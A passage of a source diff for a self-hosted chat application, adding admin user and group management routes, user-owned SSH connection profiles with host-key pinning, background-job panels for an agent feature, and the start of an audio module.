+# stick?".
+PAGE_SIZE = 25
+
+
+@router.get("/users")
+async def users_page(
+    request: Request, db: Db, user: AdminUser, q: str = "", saved: str = "", page: int = 1
+):
+    query = select(User).order_by(User.created_at)
+    if q.strip():
+        pattern = f"%{q.strip()}%"
+        query = query.where(or_(User.name.ilike(pattern), User.email.ilike(pattern)))
+
+    total = db.scalar(select(func.count()).select_from(query.subquery())) or 0
+    pages = max(1, (total + PAGE_SIZE - 1) // PAGE_SIZE)
+    page = min(max(1, page), pages)
+    rows = list(db.scalars(query.offset((page - 1) * PAGE_SIZE).limit(PAGE_SIZE)))
+
+    return render(
+        request,
+        "admin/users.html",
+        {
+            "users": rows,
+            "usage": {row.id: usage_service.summary(db, row) for row in rows},
+            "roles": ROLES,
+            "q": q,
+            "saved": saved,
+            "pager": {"page": page, "pages": pages, "total": total},
+            "admin_count": _admin_count(db),
+        },
+    )
+
+
+@router.get("/users/{user_id}")
+async def user_detail(request: Request, db: Db, user: AdminUser, user_id: str, saved: str = ""):
+    """One account, and the answer to "what can this person actually do?".
+
+    That answer is `permissions.explain`, which is `resolve`'s working shown
+    rather than thrown away. Read-only on purpose: every one of those switches
+    is set somewhere else -- the baseline, or a named group -- and a control here
+    would be a third place to change one thing.
+    """
+    target = _user(db, user_id)
+    return render(
+        request,
+        "admin/user_detail.html",
+        {
+            "target": target,
+            "roles": ROLES,
+            "explained": permissions.explain(db, target),
+            "permission_groups": permissions.permission_groups(),
+            "limits": permissions.limits_for(db, target),
+            "limit_defs": permissions.LIMIT_DEFS,
+            "usage": usage_service.summary(db, target),
+            "models": permissions.models_visible_to(db, target),
+            "saved": saved,
+            "admin_count": _admin_count(db),
+        },
+    )
+
+
+@router.post("/users")
+async def create_user(
+    db: Db,
+    user: AdminUser,
+    name: str = Form(...),
+    email: str = Form(...),
+    password: str = Form(...),
+    role: str = Form(ROLE_USER),
+) -> Response:
+    """Create an account directly, without going through registration."""
+    email = email.strip().lower()
+    if (problem := validate_password(password)) is not None:
+        return RedirectResponse(f"/admin/users?saved={problem}", status_code=303)
+    if db.scalar(select(User).where(User.email == email)) is not None:
+        return RedirectResponse(
+            "/admin/users?saved=That+email+is+already+registered.", status_code=303
+        )
+
+    db.add(
+        User(
+            name=name.strip()[:120] or email,
+            email=email,
+            password_hash=hash_password(password),
+            role=role if role in ROLES else ROLE_USER,
+        )
+    )
+    db.commit()
+    log.info("%s created account %s", user.email, email)
+    return RedirectResponse(f"/admin/users?saved=Created+{email}.", status_code=303)
+
+
+@router.post("/users/{user_id}")
+async def update_user(
+    db: Db,
+    user: AdminUser,
+    user_id: str,
+    name: str = Form(...),
+    role: str = Form(ROLE_USER),
+    active: bool = Form(False),
+) -> Response:
+    """Name, role and whether the account is active. **Not membership.**
+
+    That moved to the group's page. It used to be here as well, and a full-form
+    POST from either side overwrote whatever the other had -- two controls, one
+    value, and no answer to which one wins.
+    """
+    target = _user(db, user_id)
+
+    losing_admin = target.role == ROLE_ADMIN and (role != ROLE_ADMIN or not active)
+    if losing_admin and _would_orphan_the_instance(db, target):
+        return RedirectResponse(
+            "/admin/users?saved=That+is+the+only+administrator.+Promote+someone+else+first.",
+            status_code=303,
+        )
+
+    target.name = name.strip()[:120] or target.name
+    target.role = role if role in ROLES else target.role
+    target.active = active
+
+    # A deactivated or demoted user must lose their live sessions immediately,
+    # otherwise the change only takes effect when their cookie happens to expire.
+    if not active:
+        revoke_all_for_user(db, target)
+
+    db.commit()
+    log.info("%s updated account %s (role=%s active=%s)", user.email, target.email, role, active)
+    return RedirectResponse(
+        f"/admin/users/{target.id}?saved=Saved+{target.email}.", status_code=303
+    )
+
+
+@router.post("/users/{user_id}/password")
+async def reset_password(
+    db: Db, user: AdminUser, user_id: str, password: str = Form(...)
+) -> Response:
+    target = _user(db, user_id)
+    if (problem := validate_password(password)) is not None:
+        return RedirectResponse(f"/admin/users/{user_id}?saved={problem}", status_code=303)
+
+    target.password_hash = hash_password(password)
+    db.commit()
+    # Everywhere that account was signed in is now signed out. An admin reset
+    # usually means the account is compromised or the person is gone.
+    revoke_all_for_user(db, target)
+    log.info("%s reset the password for %s", user.email, target.email)
+    return RedirectResponse(
+        f"/admin/users/{target.id}?saved=Password+reset.+Sessions+revoked.",
+        status_code=303,
+    )
+
+
+@router.post("/users/{user_id}/delete")
+async def delete_user(db: Db, user: AdminUser, user_id: str) -> Response:
+    target = _user(db, user_id)
+
+    if target.id == user.id:
+        return RedirectResponse(
+            "/admin/users?saved=You+cannot+delete+your+own+account.", status_code=303
+        )
+    if _would_orphan_the_instance(db, target):
+        return RedirectResponse(
+            "/admin/users?saved=That+is+the+only+administrator.", status_code=303
+        )
+
+    email = target.email
+    # Chats and folders cascade; that is the point of deleting an account.
+    #
+    # Shares do not, and never did. `Share.principal_id` and
+    # `Share.resource_id` both point at one of several tables depending on a
+    # sibling column, which SQLite cannot express as a foreign key -- so a
+    # deleted account left behind every grant *to* it and every grant *of* its
+    # own work. Both halves, and both before the delete, while the rows are
+    # still there to be found.
+    sharing.forget_owner(db, target.id)
+    sharing.forget_principal(db, PRINCIPAL_USER, target.id)
+    # And the same shape a third time: the chats cascade, their attachment rows
+    # cascade, and every file those rows named stays on disk with nothing left
+    # that will ever look at it. Before the delete, while the rows still say
+    # which files they are.
+    chat_service.delete_chats(db, list(db.scalars(select(Chat).where(Chat.user_id == target.id))))
+    db.delete(target)
+    db.commit()
+    log.info("%s deleted account %s", user.email, email)
+    return RedirectResponse(f"/admin/users?saved=Deleted+{email}.", status_code=303)
+
+
+# --- Groups ------------------------------------------------------------------
+# The same list-plus-detail shape. The old page rendered every group's full
+# permission grid, every member and every model on one screen, which is fine for
+# two groups and unreadable at ten.
+@router.get("/groups")
+async def groups_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
+    groups = list(db.scalars(select(Group).order_by(Group.name)))
+    return render(
+        request,
+        "admin/groups.html",
+        {
+            "groups": groups,
+            "granted": {
+                group.id: sum(1 for on in (group.permissions_json or {}).values() if on)
+                for group in groups
+            },
+            "permission_groups": permissions.permission_groups(),
+            "baseline": permissions.baseline_permissions(db),
+            "saved": saved,
+        },
+    )
+
+
+@router.get("/groups/{group_id}")
+async def group_detail(request: Request, db: Db, user: AdminUser, group_id: str, saved: str = ""):
+    group = _group(db, group_id)
+    return render(
+        request,
+        "admin/group_detail.html",
+        {
+            "group": group,
+            "users": list(db.scalars(select(User).order_by(User.name))),
+            "models": list(db.scalars(select(Model).order_by(Model.position, Model.model_id))),
+            "permission_groups": permissions.permission_groups(),
+            "baseline": permissions.baseline_permissions(db),
+            "limit_defs": permissions.LIMIT_DEFS,
+            "limits": group.limits_json or {},
+            "saved": saved,
+        },
+    )
+
+
+@router.post("/groups")
+async def create_group(db: Db, user: AdminUser, name: str = Form(...)) -> Response:
+    name = name.strip()[:120]
+    if not name:
+        return RedirectResponse("/admin/groups?saved=A+group+needs+a+name.", status_code=303)
+    if db.scalar(select(Group).where(Group.name == name)) is not None:
+        return RedirectResponse(
+            "/admin/groups?saved=A+group+with+that+name+already+exists.", status_code=303
+        )
+
+    db.add(Group(name=name))
+    db.commit()
+    log.info("%s created group %s", user.email, name)
+    return RedirectResponse(f"/admin/groups?saved=Created+{name}.", status_code=303)
+
+
+@router.post("/groups/{group_id}")
+async def update_group(
+    request: Request,
+    db: Db,
+    user: AdminUser,
+    group_id: str,
+    name: str = Form(...),
+    description: str = Form(""),
+    permission: list[str] = Form(default=[]),
+    user_ids: list[str] = Form(default=[]),
+    model_ids: list[str] = Form(default=[]),
+) -> Response:
+    group = _group(db, group_id)
+    form = await request.form()
+
+    group.name = name.strip()[:120] or group.name
+    group.description = description.strip()[:1000]
+    # The submitted checkbox list is the complete new state; absent means the
+    # group does not grant that permission, not that it denies it.
+    group.permissions_json = {key: True for key in permission if key in permissions.PERMISSION_KEYS}
+    group.users = list(db.scalars(select(User).where(User.id.in_(user_ids or []))))
+    group.models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
+
+    # Quotas. Only what was submitted and could be read as a number is stored, so
+    # a blank box means "this group has no opinion" and contributes nothing to
+    # the resolution -- which is what `limits_for` needs in order to tell it
+    # apart from a deliberate zero, and zero here means *no limit*.
+    wanted: dict[str, int] = {}
+    for key in permissions.LIMIT_KEYS:
+        raw = str(form.get(f"limit_{key}") or "").strip()
+        if not raw:
+            continue
+        try:
+            wanted[key] = max(0, int(raw))
+        except ValueError:
+            continue
+    group.limits_json = wanted
+
+    db.commit()
+    log.info("%s updated group %s", user.email, group.name)
+    return RedirectResponse(
+        f"/admin/groups/{group.id}?saved=Saved+{group.name}.", status_code=303
+    )
+
+
+@router.post("/groups/{group_id}/delete")
+async def delete_group(db: Db, user: AdminUser, group_id: str) -> Response:
+    group = _group(db, group_id)
+    name = group.name
+    # Members and model links go with it; the users themselves are untouched.
+    #
+    # Every share naming this group goes too. Nothing cascades -- see
+    # `sharing.forget_principal` -- so a deleted group left its grants behind,
+    # and a group id is a random hex string that nothing reissues today and
+    # nothing promises not to reissue tomorrow.
+    dropped = sharing.forget_principal(db, PRINCIPAL_GROUP, group.id)
+    db.delete(group)
+    db.commit()
+    if dropped:
+        log.info("dropped %d share(s) naming group %s", dropped, name)
+    log.info("%s deleted group %s", user.email, name)
+    return RedirectResponse(f"/admin/groups?saved=Deleted+{name}.", status_code=303)
+
+
+@router.post("/permissions/defaults")
+async def save_baseline(
+    db: Db, user: AdminUser, permission: list[str] = Form(default=[])
+) -> Response:
+    """The permissions every user has before any group widens them."""
+    settings_store.update(
+        db,
+        {
+            "default_permissions": {
+                key: (key in permission) for key in permissions.PERMISSION_KEYS
+            }
+        },
+    )
+    log.info("%s changed the baseline permissions", user.email)
+    return RedirectResponse("/admin/groups?saved=Default+permissions+saved.", status_code=303)

src/lembas/api/agents.py

@@ -0,0 +1,607 @@
+"""SSH connections, kept by the people who own them.
+
+Not an admin screen. These are somebody's own machines and somebody's own keys,
+so the pages sit beside the library rather than under `/admin` -- an
+administrator decides only whether the feature exists at all.
+
+Trust on first use, made explicit. Adding a host does not connect to it; the
+**Check** button looks at its key, shows the fingerprint, and waits. Only when
+that is accepted is the key pinned, and only then will anything authenticate.
+`asyncssh.get_server_host_key` completes the key exchange and stops, so a host
+that has not been accepted is never offered a username, let alone a credential.
+"""
+
+from __future__ import annotations
+
+import logging
+from datetime import UTC, datetime
+
+from fastapi import APIRouter, Depends, HTTPException, Request, Response, status
+from fastapi.responses import RedirectResponse
+from sqlalchemy import select
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.api.pages import sidebar_context
+from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile
+from lembas.services import settings_store
+from lembas.services.agent import draft as draft_service
+from lembas.services.agent import hosts
+from lembas.services.agent import index as index_service
+from lembas.services.agent import jobs as jobs_service
+from lembas.services.agent import ssh as ssh_service
+from lembas.services.agent import terminal as terminal_service
+from lembas.services.agent.base import ExecError
+from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
+from lembas.web.templating import render
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(
+    dependencies=[Depends(require_permission("agent.ssh"))], tags=["agents"]
+)
+
+
+def _profile(db: Db, user: RequiredUser, profile_id: str) -> SshProfile:
+    """One profile belonging to this person.
+
+    Ownership is the whole authorisation. `sharing.py` is deliberately not
+    involved: it grants reading, and a host somebody else can read is a host
+    they can log in to.
+    """
+    profile = db.get(SshProfile, profile_id)
+    if profile is None or profile.owner_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That connection no longer exists.")
+    return profile
+
+
+def _owned(db: Db, user_id: str) -> list[SshProfile]:
+    return list(
+        db.scalars(
+            select(SshProfile).where(SshProfile.owner_id == user_id).order_by(SshProfile.name)
+        )
+    )
+
+
+def _back(message: str = "") -> Response:
+    target = f"/agents?saved={message}" if message else "/agents"
+    return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
+
+
+def _number(raw, *, default: int, low: int, high: int) -> int:
+    text = str(raw or "").strip()
+    if not text.isdigit():
+        return default
+    return min(max(int(text), low), high)
+
+
+def _apply(profile: SshProfile, form) -> None:
+    """Copy a submitted form onto a profile.
+
+    Checkboxes are read by key presence: FastAPI cannot tell `x=` from an absent
+    `x`, and an absent one is exactly what an unticked box sends.
+    """
+    profile.name = str(form.get("name") or "").strip()[:120]
+    profile.host = str(form.get("host") or "").strip()[:255]
+    profile.username = str(form.get("username") or "").strip()[:120]
+    profile.port = _number(form.get("port"), default=22, low=1, high=65535)
+    profile.connect_timeout = _number(form.get("connect_timeout"), default=15, low=3, high=120)
+    profile.default_dir = str(form.get("default_dir") or "").strip()[:500]
+
+    method = str(form.get("auth") or "").strip()
+    profile.auth = method if method in AUTH_METHODS else profile.auth
+    profile.enabled = "enabled" in form
+
+
+def _detail(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    profile: SshProfile,
+    *,
+    is_new: bool,
+    error: str = "",
+    saved: str = "",
+):
+    # The user is passed rather than read off the profile: a draft has never
+    # been attached to a session, so `profile.owner` is None on the one page
+    # that most needs a sidebar.
+    return render(
+        request,
+        "agents/detail.html",
+        {
+            **sidebar_context(db, user),
+            "profile": profile,
+            "is_new": is_new,
+            "error": error,
+            "saved": saved,
+            "unchanged": UNCHANGED_SENTINEL,
+            "masked_password": mask(decrypt(profile.password_encrypted))
+            if profile.password_encrypted
+            else "",
+            "has_key": bool(profile.private_key_encrypted),
+            "problem": ssh_service.available(),
+            # Empty on the new-connection page, where there is no host yet to
+            # ask about -- the answer arrives when it is submitted.
+            "refused": hosts.refusal_for(db, profile) if profile.host else "",
+        },
+    )
+
+
+@router.get("/agents")
+async def agents_page(request: Request, db: Db, user: RequiredUser, saved: str = ""):
+    return render(
+        request,
+        "agents/index.html",
+        {
+            **sidebar_context(db, user),
+            "profiles": (owned := _owned(db, user.id)),
+            # Keyed by id rather than resolved in the template, because the
+            # template has no session and this is a question about instance
+            # settings, not about the row.
+            "refusals": {p.id: hosts.refusal_for(db, p) for p in owned},
+            "saved": saved,
+            "problem": ssh_service.available(),
+            "enabled": bool(settings_store.agents(db).get("enabled")),
+        },
+    )
+
+
+# Registered before /{profile_id}: FastAPI matches in registration order, so
+# with the parameterised route first "new" is captured as an id. This has been
+# a bug once already, in /admin/models.
+@router.get("/agents/new")
+async def new_profile_page(request: Request, db: Db, user: RequiredUser):
+    draft = SshProfile(
+        owner_id=user.id, name="", host="", username="", port=22, connect_timeout=15, enabled=True
+    )
+    return _detail(request, db, user, draft, is_new=True)
+
+
+@router.post("/api/agents")
+async def create_profile(request: Request, db: Db, user: RequiredUser) -> Response:
+    form = await request.form()
+    profile = SshProfile(owner_id=user.id)
+    _apply(profile, form)
+
+    if problem := _problem(db, profile, user.id):
+        return _detail(request, db, user, profile, is_new=True, error=problem)
+
+    profile.password_encrypted = keep_or_replace(str(form.get("password") or ""), "")
+    profile.private_key_encrypted = keep_or_replace(str(form.get("private_key") or ""), "")
+    profile.key_passphrase_encrypted = keep_or_replace(str(form.get("key_passphrase") or ""), "")
+    db.add(profile)
+    db.commit()
+
+    log.info("%s added ssh profile %s", user.email, profile.name)
+    return RedirectResponse(
+        f"/agents/{profile.id}?saved=Added+{profile.name}.+Check+it+to+confirm+its+fingerprint.",
+        status_code=status.HTTP_303_SEE_OTHER,
+    )
+
+
+def _problem(db: Db, profile: SshProfile, owner_id: str, *, existing_id: str = "") -> str:
+    if not profile.name:
+        return "A connection needs a name."
+    if not profile.host:
+        return "A connection needs a host."
+    if not profile.username:
+        return "A connection needs a username to log in as."
+
+    # Saving is one of the two moments a DNS lookup is affordable, so this is
+    # where a *name* pointing at loopback is settled and written to the row for
+    # every later request to read for free. See services/agent/hosts.py.
+    #
+    # Not the last word -- `session.resolve` refuses one that was saved before an
+    # administrator moved the switch, and has to, because a row can predate a
+    # setting. This is here so the refusal arrives while somebody is looking at
+    # the form that caused it rather than at an agent chat with no tools.
+    resolved = hosts.restamp(profile)
+    if refused := hosts.refusal(db, profile.host, profile.port, resolved=resolved):
+        return refused
+
+    clash = db.scalar(
+        select(SshProfile).where(
+            SshProfile.owner_id == owner_id, SshProfile.name == profile.name
+        )
+    )
+    if clash is not None and clash.id != existing_id:
+        return f"You already have a connection called “{profile.name}”."
+    return ""
+
+
+@router.get("/agents/{profile_id}")
+async def profile_page(
+    request: Request, db: Db, user: RequiredUser, profile_id: str, saved: str = ""
+):
+    profile = _profile(db, user, profile_id)
+    return _detail(request, db, user, profile, is_new=False, saved=saved)
+
+
+@router.get("/api/agents/{profile_id}/browse")
+async def browse_profile(
+    request: Request,
+    db: Db,
+    user: RequiredUser,
+    profile_id: str,
+    path: str = "",
+    pick: str = "dir",
+):
+    """One directory on the far side, as a fragment the picker swaps in.
+
+    Hung off the profile rather than the chat because the commonest caller is
+    the *new*-chat composer, where there is no chat yet -- the directory is one
+    of the things being chosen. Ownership of the profile is the whole
+    authorisation, as everywhere else in this module.
+
+    This is a person clicking, not a model calling, so it does not go through
+    `agent/policy.py`. That is the same argument the terminal panel rests on and
+    it holds for the same reason -- somebody who owns the credential could list
+    the directory with an ssh client -- but it does mean Manual mode's promise
+    that everything is shown to you first now has a second exception. Both are
+    written down in CLAUDE.md.
+    """
+    profile = _profile(db, user, profile_id)
+    entries: list = []
+    error = ""
+
+    if refused := hosts.refusal_for(db, profile):
+        # First, because this one opens a connection and the others only explain
+        # why one would fail.
+        error = refused
+    elif hint := ssh_service.available():
+        error = hint
+    elif not profile.host_key:
+        # connect_kwargs would raise the same thing, but a picker that opens on
+        # a wall of prose about known_hosts is worse than one that says this.
+        error = "This connection's host key has not been confirmed yet. Check it first."
+    else:
+        try:
+            executor = ssh_service.SshExecutor(ssh_service.spec_from(profile), "")
+            entries = await executor.scan_dir(path or profile.default_dir or "/")
+        except ExecError as exc:
+            error = exc.message
+
+    here = path or profile.default_dir or "/"
+    return render(
+        request,
+        "agents/_browse.html",
+        {
+            "profile": profile,
+            "here": here,
+            "parent": _parent_of(here),
+            "entries": entries,
+            "error": error,
+            # Whether a file is a choice or only something to look at. The
+            # directory picker wants the folder you are standing in; Canvas
+            # wants the file you click. One listing, because a second copy is a
+            # second place for the path arithmetic to be got subtly differently.
+            "pick": "file" if pick == "file" else "dir",
+        },
+    )
+
+
+# --- Background jobs -----------------------------------------------------------
+# A job runs detached on the far side for as long as it takes -- a build, an
+# install, a test suite -- and until now the only way to see one was to ask the
+# model to call `job_list`. Something that outlives the reply that started it
+# needs a surface that outlives the reply too.
+#
+# Read-only listing and stopping sit **outside `agent/policy.py`**, which makes
+# this the fifth exception to "the modes govern the model, not the interface",
+# after the terminal panel, the directory browser, the project listing and
+# Canvas saving a file. The argument is the one those rest on: whoever owns the
+# credential could read the log with `cat` and stop the job with `kill`, and a
+# panel that asked permission to show what is already running would be a panel
+# nobody could use. `job_stop` as a *model* tool keeps its RISK_EXECUTE and its
+# approval card; nothing about what a model may do has changed.
+def _job_chat(db: Db, user: RequiredUser, chat_id: str):
+    """The chat, and the agent context its jobs belong to.
+
+    404 for a chat that is not this reader's, as everywhere else -- whether an
+    id exists is not something to hand out. The agent context is what carries
+    the connection, so a chat whose profile has been deleted or disabled has no
+    jobs to show rather than an error to render.
+    """
+    from lembas.db.models import Chat
+    from lembas.services.agent import session as agent_session
+
+    chat = db.get(Chat, chat_id)
+    if chat is None or chat.user_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+    return chat, agent_session.resolve(db, chat, user)
+
+
+@router.get("/api/agents/{profile_id}/draft")
+async def draft_target(db: Db, user: RequiredUser, profile_id: str, dir: str = ""):
+    """The id the panels should use for a chat that does not exist yet.
+
+    Hung off the profile rather than the chat for the reason `browse` is: the
+    caller is the *new*-chat composer, where the connection and the directory
+    are the things being chosen. Ownership of the profile is the whole
+    authorisation, as everywhere else in this module.
+
+    Deterministic, so asking twice for the same target gives the same id and
+    finds the shell already running there rather than opening a second one.
+    """
+    profile = _profile(db, user, profile_id)
+    # A draft is what the terminal and the canvas open against before a chat
+    # exists, so refusing here is refusing the whole new-chat path. `resolve`
+    # would refuse it anyway once a chat existed; this stops the panel opening
+    # on a target it will not be allowed to use.
+    if refused := hosts.refusal_for(db, profile):
+        raise HTTPException(status.HTTP_403_FORBIDDEN, refused)
+    draft = draft_service.remember(user.id, profile.id, dir or profile.default_dir or "")
+    return {"id": draft.id, "dir": draft.project_dir}
+
+
+@router.get("/api/chats/{chat_id}/jobs")
+async def jobs_chip(request: Request, db: Db, user: RequiredUser, chat_id: str):
+    """How many jobs are running, as the chip in the composer row.
+
+    Always rendered, even at zero -- the chip is what carries `hx-trigger`, so a
+    fragment that collapsed to nothing would stop polling and the first job
+    started afterwards would never appear. The template renders an empty span in
+    that case, so the row does not reflow as jobs come and go.
+    """
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+    return render(
+        request,
+        "chat/_jobs_chip.html",
+        {"chat": chat, "jobs": views, "running": sum(1 for view in views if view.running)},
+    )
+
+
+@router.get("/api/chats/{chat_id}/jobs/panel")
+async def jobs_panel(request: Request, db: Db, user: RequiredUser, chat_id: str, job: str = ""):
+    """The list, and one job's output when a row is expanded.
+
+    The log is fetched only for the named job. Reading every job's tail on every
+    poll would be one SSH connection per job per five seconds, for output nobody
+    is looking at.
+    """
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+
+    body = ""
+    error = ""
+    if job and agent is not None:
+        if not jobs_service.valid_id(job) or not any(view.id == job for view in views):
+            # Namespaced by chat on the far side, and checked here as well: the
+            # path is built from the chat id, but the route takes the job id
+            # from the URL and must not read one that belongs elsewhere.
+            raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+        try:
+            reading = await jobs_service.read(agent, job)
+            body = reading.body
+        except ExecError as exc:
+            error = exc.message
+
+    return render(
+        request,
+        "chat/_jobs_panel.html",
+        {"chat": chat, "jobs": views, "open_job": job, "body": body, "error": error},
+    )
+
+
+@router.post("/api/chats/{chat_id}/jobs/{job_id}/stop")
+async def stop_job(request: Request, db: Db, user: RequiredUser, chat_id: str, job_id: str):
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+    if agent is None or not jobs_service.valid_id(job_id):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+    if not any(view.id == job_id for view in views):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+
+    error = ""
+    try:
+        await jobs_service.stop(agent, job_id)
+    except ExecError as exc:
+        error = exc.message
+
+    return render(
+        request,
+        "chat/_jobs_panel.html",
+        {
+            "chat": chat,
+            "jobs": jobs_service.listing(db, chat_id),
+            "open_job": "",
+            "body": "",
+            "error": error,
+        },
+    )
+
+
+def _parent_of(path: str) -> str:
+    """The directory above, or "" at the root.
+
+    Plain string work rather than pathlib: these are POSIX paths on somebody
+    else's machine, and running them through a local Path would apply this
+    host's rules to them.
+    """
+    trimmed = (path or "/").rstrip("/")
+    if not trimmed or trimmed == "":
+        return ""
+    head = trimmed.rsplit("/", 1)[0]
+    return head or "/"
+
+
+@router.post("/api/agents/{profile_id}/check")
+async def check_profile(request: Request, db: Db, user: RequiredUser, profile_id: str):
+    """Look at the host's key, and connect if it has already been accepted.
+
+    Two steps in one button, because they are one question: *is this the machine
+    I meant, and will it let me in?* An unseen key comes back as a fingerprint
+    to accept; an accepted one is used to log in and run something harmless.
+    """
+    profile = _profile(db, user, profile_id)
+
+    # Before anything is sent. Check is the one button here that opens a socket,
+    # so a refused connection must not get one -- and the reason belongs in the
+    # place somebody just pressed rather than in a log.
+    #
+    # The other moment a lookup is affordable, and the one that catches a name
+    # whose DNS moved after it was saved: this button is how somebody finds out
+    # a connection has stopped working, so it is the right place to find out why.
+    hosts.restamp(profile)
+    db.commit()
+    if refused := hosts.refusal_for(db, profile):
+        return render(request, "agents/_check.html", {"profile": profile, "error": refused})
+
+    try:
+        line, fingerprint = await ssh_service.capture_host_key(
+            profile.host, profile.port, timeout=profile.connect_timeout
+        )
+    except ExecError as exc:
+        profile.last_error = exc.message
+        profile.last_checked_at = datetime.now(UTC)
+        db.commit()
+        return render(
+            request, "agents/_check.html", {"profile": profile, "error": exc.message}
+        )
+
+    if not profile.host_key:
+        # First sight. Nothing is pinned until a person says so.
+        return render(
+            request,
+            "agents/_check.html",
+            {"profile": profile, "offer": {"line": line, "fingerprint": fingerprint}},
+        )
+
+    if line.strip() != profile.host_key.strip():
+        message = (
+            "This host is presenting a different key than the one you accepted. "
+            "Nothing was sent to it. If you rebuilt the machine, forget the key "
+            "below and check again; if you did not, stop and find out why."
+        )
+        profile.last_error = message
+        profile.last_checked_at = datetime.now(UTC)
+        db.commit()
+        return render(
+            request,
+            "agents/_check.html",
+            {
+                "profile": profile,
+                "error": message,
+                "offer": {"line": line, "fingerprint": fingerprint, "changed": True},
+            },
+        )
+
+    try:
+        found = await ssh_service.check(ssh_service.spec_from(profile), profile.default_dir)
+    except ExecError as exc:
+        profile.last_error = exc.message
+        profile.last_checked_at = datetime.now(UTC)
+        db.commit()
+        return render(
+            request, "agents/_check.html", {"profile": profile, "error": exc.message}
+        )
+
+    profile.last_error = ""
+    profile.last_checked_at = datetime.now(UTC)
+    profile.server_info = {"system": found.get("system", ""), "cwd": found.get("cwd", "")}
+    db.commit()
+    return render(request, "agents/_check.html", {"profile": profile, "found": found})
+
+
+@router.post("/api/agents/{profile_id}/accept")
+async def accept_host_key(request: Request, db: Db, user: RequiredUser, profile_id: str):
+    """Pin the fingerprint that was just shown.
+
+    The line is re-fetched rather than taken from the form: a value that made a
+    round trip through a browser is not what should end up as the thing every
+    future connection is checked against.
+    """
+    profile = _profile(db, user, profile_id)
+    try:
+        line, fingerprint = await ssh_service.capture_host_key(
+            profile.host, profile.port, timeout=profile.connect_timeout
+        )
+    except ExecError as exc:
+        return render(request, "agents/_check.html", {"profile": profile, "error": exc.message})
+
+    profile.host_key = line
+    profile.host_fingerprint = fingerprint
+    profile.last_error = ""
+    db.commit()
+    log.info("%s pinned host key for %s (%s)", user.email, profile.name, fingerprint)
+
+    return render(
+        request,
+        "agents/_check.html",
+        {"profile": profile, "accepted": fingerprint},
+    )
+
+
+@router.post("/api/agents/{profile_id}/forget")
+async def forget_host_key(request: Request, db: Db, user: RequiredUser, profile_id: str):
+    profile = _profile(db, user, profile_id)
+    profile.host_key = ""
+    profile.host_fingerprint = ""
+    # Un-trusting a host has to reach the shell already open on it, or the one
+    # connection that matters is the one this does not touch.
+    await terminal_service.close_for_profile(profile.id)
+    index_service.forget(profile.id)
+    db.commit()
+    return render(request, "agents/_check.html", {"profile": profile, "forgotten": True})
+
+
+@router.post("/api/agents/{profile_id}/delete")
+async def delete_profile(db: Db, user: RequiredUser, profile_id: str) -> Response:
+    profile = _profile(db, user, profile_id)
+    name = profile.name
+    await terminal_service.close_for_profile(profile.id)
+    index_service.forget(profile.id)
+    db.delete(profile)
+    db.commit()
+    log.info("%s deleted ssh profile %s", user.email, name)
+    return _back(f"Deleted {name}.")
+
+
+@router.post("/api/agents/{profile_id}")
+async def update_profile(request: Request, db: Db, user: RequiredUser, profile_id: str):
+    profile = _profile(db, user, profile_id)
+    form = await request.form()
+
+    before = (profile.host, profile.port)
+    _apply(profile, form)
+
+    if problem := _problem(db, profile, user.id, existing_id=profile.id):
+        db.rollback()
+        return _detail(
+            request, db, user, _profile(db, user, profile_id), is_new=False, error=problem
+        )
+
+    profile.password_encrypted = keep_or_replace(
+        str(form.get("password") or ""), profile.password_encrypted
+    )
+    profile.private_key_encrypted = keep_or_replace(
+        str(form.get("private_key") or ""), profile.private_key_encrypted
+    )
+    profile.key_passphrase_encrypted = keep_or_replace(
+        str(form.get("key_passphrase") or ""), profile.key_passphrase_encrypted
+    )
+    if profile.auth == AUTH_PASSWORD:
+        profile.private_key_encrypted = ""
+        profile.key_passphrase_encrypted = ""
+
+    # A pinned key belongs to a host and a port. Moving either means this is a
+    # different machine until proven otherwise, and silently keeping the old
+    # key would be the one mistake this whole mechanism exists to prevent.
+    if (profile.host, profile.port) != before and profile.host_key:
+        profile.host_key = ""
+        profile.host_fingerprint = ""
+        log.info("%s moved ssh profile %s; its host key was forgotten", user.email, profile.name)
+
+    # A shell already open holds its own connection and would not notice any of
+    # this. `session.profile_for` re-checks the profile on every reply, so the
+    # model stops at once; without the line below, "I disabled that connection"
+    # would simply not be true of the terminal on screen.
+    if not profile.enabled or not profile.host_key or (profile.host, profile.port) != before:
+        await terminal_service.close_for_profile(profile.id)
+    index_service.forget(profile.id)
+
+    db.commit()
+    return RedirectResponse(
+        f"/agents/{profile.id}?saved=Saved.", status_code=status.HTTP_303_SEE_OTHER
+    )

src/lembas/api/audio.py

@@ -0,0 +1,183 @@
+"""Dictation and read-aloud.
+
+Both directions go through the server rather than from the browser to the audio
+endpoint directly, for the same reason model requests do: the endpoint is often
+on a private address the browser cannot reach, and its API key must never leave
+this process.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Depends, File, HTTPException, UploadFile, status
+from fastapi.responses import PlainTextResponse, Response, StreamingResponse
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.api.deps import Db, RequiredUser, require_permission
+from lembas.db.models import Chat, Message, User
+from lembas.services import audio as audio_service
+from lembas.services import settings_store
+from lembas.services.llm.openai_client import LLMError
+from lembas.services.markdown import speakable_text
+
+log = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/api/audio", tags=["audio"])
+
+# A minute of speech is well under a megabyte in any browser codec; this is a
